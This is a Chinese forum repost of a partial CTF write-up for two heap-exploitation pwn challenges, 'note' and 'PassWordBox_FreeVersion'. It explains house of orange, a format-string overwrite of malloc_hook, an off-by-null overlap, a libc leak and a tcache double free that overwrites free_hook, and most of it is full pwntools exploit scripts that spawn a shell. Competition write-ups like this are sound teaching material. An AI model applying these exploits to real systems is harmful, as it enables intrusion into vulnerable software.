安全矩阵

 找回密码
 立即注册
搜索
查看: 2676|回复: 0

第二届“祥云杯”网络安全大赛部分Writeup(未完待续)

[复制链接]

221

主题

233

帖子

792

积分

高级会员

Rank: 4

积分
792
发表于 2021-8-29 15:20:09 | 显示全部楼层 |阅读模式
第二届“祥云杯”网络安全大赛部分Writeup(未完待续) (qq.com) 第二届“祥云杯”网络安全大赛部分Writeup(未完待续)原创 奋斗的小浪 [url=]衡阳信安[/url] 5天前


这次比赛,时间不充裕,新老交替,战队新手多,我也忙,周末两天上午的课,晚上还要备课,在夹缝中做题,所以战绩较去年落差很多!整个比赛中,只有我和西电学霸小刘在做题,在这里对于他的学习精神致敬!毕竟才大二,这是我带的为数不多的学生中很优秀的小伙伴。今年我开课后,一直跟着我在学习网络安全渗透测试。
​​ 我们这种民间战队没办法和高校大佬们比较,希望更多的民间CTF爱好者加入我们,我们一起战斗!

上图为这次给他们几个学员培训的课程

言归正传,我把wp整理了一下,发出来,供大家参考!不对之处,请大家批评指正!

题目:note
标准的菜单题,只是没有free的操作,保护全开,那么只能修改hook或者堆上写ROP跳过去或者IOFILE之类的,改hook固然是最简单的
对于没有free的,我们选择house of orange泄露libc,尤其是这题给了堆的地址还给了一个scanf的格式化溢出




先把菜单函数写好
  1. def debug(s):
  2.     gdb.attach(p, '''
  3.     source ~/libc/loadsym.py
  4.     loadsym ~/libc/2.23/64/libc-2.23.debug.so
  5.     ''' + s)

  6. def alloc(size, content):
  7.     p.sendlineafter(b'choice: ', b'1')
  8.     p.sendlineafter(b'size: ', str(size).encode())
  9.     p.sendafter(b'content: ', content)

  10. def say(content, content2):
  11.     p.sendlineafter(b'choice: ', b'2')
  12.     p.sendafter(b'say ? ', content)
  13.     p.sendlineafter(b'? ', content2)

  14. def show():
  15.     p.sendlineafter(b'choice: ', b'3')
复制代码
简单介绍一下house of orange,出自一道hitcon的同名题,当top chunk不够用的时候,会将top chunk放入unsorted bin中,再申请一个新的top chunk来替换原本的top chunk,假设原本top chunk大小为0x400,而我们malloc 0x1000,那么这个0x400就会进入unsorted bin中,libc会去申请一段新的top chunk过来

然后使用scanf格式化溢出修改top chunk的size达到house of orange的目的,多次alloc突破top chunk,迫使top chunk进入unosrted bin
  1. alloc(0x100, b'a')
  2. p.recvuntil(b'addr: ')
  3. heap = int(p.recv(14), 16)

  4. success('heap -> {}'.format(hex(heap)))

  5. say(b'%7$daaaa' + p64(heap + 0x100 + 8), str(0xef1).encode())

  6. for i in range(14):
  7.     alloc(0x100, b'a')
复制代码
从unsorted bin中分割出一块chunk利用残余的libc内的地址泄露libc
  1. alloc(0x10, b'a' * 8)
  2. show()

  3. libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
  4. libc_base = libc_base - 328 - 0x10 - libc.sym['__malloc_hook']
  5. malloc_hook = libc_base + libc.sym['__malloc_hook']
  6. realloc = libc_base + libc.sym['__libc_realloc']
  7. system = libc_base + libc.sym['system']

  8. one_gadgets = [0x45206, 0x4525a, 0xef9f4, 0xf0897]
  9. one_gadgets_xyb = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
  10. one = one_gadgets_xyb[1] + libc_base

  11. success('libc_base -> {}'.format(hex(libc_base)))
  12. success('malloc_hook -> {}'.format(hex(malloc_hook)))
复制代码
最后利用格式化溢出修改malloc_hook和realloc_hook,这题要用one_gadgets的话得调一下栈
  1. say(b'%7$lldaa' + p64(malloc_hook), str(realloc + 12).encode())
  2. say(b'%7$lldaa' + p64(malloc_hook - 8), str(one).encode())
复制代码
再次malloc即可getshell
  1. p.sendlineafter(b'choice: ', b'1')
  2. p.sendlineafter(b'size: ', b'1')
  3. p.interactive()
复制代码
完整exp
  1. from pwn import *

  2. #context.log_level = 'debug'

  3. #p = process('./note')
  4. p = remote('47.104.70.90', 25315)
  5. elf = ELF('note')
  6. libc = ELF('libc-2.23.xyb.so')

  7. def debug(s):
  8.     gdb.attach(p, '''
  9.     source ~/libc/loadsym.py
  10.     loadsym ~/libc/2.23/64/libc-2.23.debug.so
  11.     ''' + s)

  12. def alloc(size, content):
  13.     p.sendlineafter(b'choice: ', b'1')
  14.     p.sendlineafter(b'size: ', str(size).encode())
  15.     p.sendafter(b'content: ', content)

  16. def say(content, content2):
  17.     p.sendlineafter(b'choice: ', b'2')
  18.     p.sendafter(b'say ? ', content)
  19.     p.sendlineafter(b'? ', content2)

  20. def show():
  21.     p.sendlineafter(b'choice: ', b'3')

  22. alloc(0x100, b'a')
  23. p.recvuntil(b'addr: ')
  24. heap = int(p.recv(14), 16)

  25. success('heap -> {}'.format(hex(heap)))

  26. say(b'%7$daaaa' + p64(heap + 0x100 + 8), str(0xef1).encode())

  27. for i in range(14):
  28.     alloc(0x100, b'a')

  29. alloc(0x10, b'a' * 8)
  30. show()

  31. libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
  32. libc_base = libc_base - 328 - 0x10 - libc.sym['__malloc_hook']
  33. malloc_hook = libc_base + libc.sym['__malloc_hook']
  34. realloc = libc_base + libc.sym['__libc_realloc']
  35. system = libc_base + libc.sym['system']

  36. one_gadgets = [0x45206, 0x4525a, 0xef9f4, 0xf0897]
  37. one_gadgets_xyb = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
  38. one = one_gadgets_xyb[1] + libc_base

  39. success('libc_base -> {}'.format(hex(libc_base)))
  40. success('malloc_hook -> {}'.format(hex(malloc_hook)))

  41. say(b'%7$lldaa' + p64(malloc_hook), str(realloc + 12).encode())
  42. say(b'%7$lldaa' + p64(malloc_hook - 8), str(one).encode())

  43. #debug('')

  44. p.sendlineafter(b'choice: ', b'1')
  45. p.sendlineafter(b'size: ', b'1')

  46. p.interactive()
复制代码





题目:PassWordBox_FreeVersion
最新版libc2.27的double free与leak libc的船新姿势,之前还没想到能这么搞,快被只有一次edit给搞疯了才想到
惯例检查一下先


保护全开,那基本锁定hook和io了,再看看libc



wtf 1.4,保护全开,打屁,双手离开键盘(------
在被web折磨得怀疑人生的时候又回到了这道题。。行吧,先看看



标准的菜单题


最多允许80个chunk


长度限制在0x100以下,第一次add的时候会输出加密后的内容,加密就是一个简单的异或操作,以8字节为单位进行异或



同时注意到add中存在off by null



fgets会将0填充到输入的末尾处
而show就是先解密再加密



用的是printf,所以要小心零字符截断
delete简单暴力,有置零,所以不好uaf



edit只能用一次,还只能编辑0x10字节(小鸟你说你干什么不好偏要搞一个Free Version


好了逻辑梳理完了,先不管那么多,由于加密操作就是个异或,简单的很,所以我们第一次add的时候把它秘钥给leak一下

  1. alloc(b'2', 0xf8, b'a\n') #0
  2. p.recvuntil(b'Save ID:')
  3. p.recv(8)
  4. key = u64(p.recv(8))
  5. success('key -> {}'.format(hex(key)))
复制代码
然后重点就放到了off by null上,先构造最基本的off by null的结构,还要先把tcache填满,让chunk能进入unsorted bin
  1. for i in range(6):
  2.     alloc(b'2', 0xf8, b'a\n') #1 - 6

  3. alloc(b'2', 0xf8, b'a\n') #7
  4. alloc(b'2', 0x88, b'a\n') #8
  5. alloc(b'2', 0xf8, b'a\n') #9
  6. alloc(b'2', 0x98, b'a\n') #10

  7. for i in range(7):
  8.     delete(i)
复制代码
溢出chunk8来修改chunk9的size的最低位为0,并将chunk8 chunk7给free掉,最后unlink
  1. delete(8)
  2. delete(7)
  3. alloc(b'2', 0x88, b'a' * 0x80 + p64((0x90 + 0x100) ^ key)) #0
  4. delete(9)
复制代码
值得注意的是,在执行第三行代码的时候,原本的chunk8现在到了chunk0的位置,然后一个unlink使得unsorted bin中出现了范围是原本的chunk7到chunk9的范围,所以其实此时已经完成了overlap,按以往的操作,现在应该alloc chunk7,然后填充chunk7的 0x10 ~ 0x18处来leak libc,但是由于fgets有字符截断,所以这条路已经被封的死死的,这里就用libc来帮我们做这个事
注意现在的chunk0是原本的chunk8的位置,其与unsorted bin[0]的开头是原本chunk7的位置,那么我们执行两次alloc 0x78
  1. alloc(b'2', 0x78, b'\n') #1
  2. alloc(b'2', 0x78, b'\n') #2
复制代码
由于被分割,unsorted bin的前面一部分被分割走了,现在unsorted bin[0]与现在的chunk0重叠,更重要的时候,被分割后,libc会将main_arena + xx 写入unsorted bin[0]的fd和bk处,而chunk0与其重叠,所以此时我们就可以通过show(0)来leak libc了,只是要解密一下
  1. show(0)

  2. p.recvuntil(b'Pwd is: ')
  3. addr = u64(p.recv(8)) ^ key

  4. libc_base = addr - 0x2a0 - libc.sym['_IO_2_1_stdin_']
  5. success('libc_base -> {}'.format(hex(libc_base)))
复制代码
之后准备double free,由于是1.4的libc2.27,所以我们需要绕过key,在libc2.27 1.4中,tcache_entry中多了一个字段key,在free的时候,libc会将当前要free的chunk的地址写入key中,而在这之前,它会提取key出来,判断key和自己的地址是否相等,如果相等,就会遍历当前chunk的大小的bin中是否有一个已经被free了的chunk,如果发现了,直接异常退出,好吧,那如果我们现在直接double free的话会被检测出来,那么我们就可以用唯一一次edit的机会在free第一次以后修改key然后再free第二次完成double free,剩下就是常规的修改free_hook了
  1. system = libc_base + libc.sym['__libc_system']
  2. free_hook = libc_base + libc.sym['__free_hook']

  3. alloc(b'2', 0x60, b'a\n') #3
  4. delete(0)
  5. edit(3, b'a' * 0x10)
  6. delete(3)

  7. bin_sh_str_int = u64(b'/bin/sh\x00')
  8. #debug('b free')

  9. alloc(b'2', 0x60, p64(free_hook ^ key) + b'\n')
  10. alloc(b'2', 0x60, b'\n')
  11. alloc(b'2', 0x60, p64(system ^ key) + b'\n')
  12. alloc(b'2', 0x60, p64(bin_sh_str_int ^ key) + b'\n')

  13. delete(5)

  14. p.interactive()
复制代码
未完待续。。。。明天继续更新吧!

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-22 15:48 , Processed in 0.016206 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表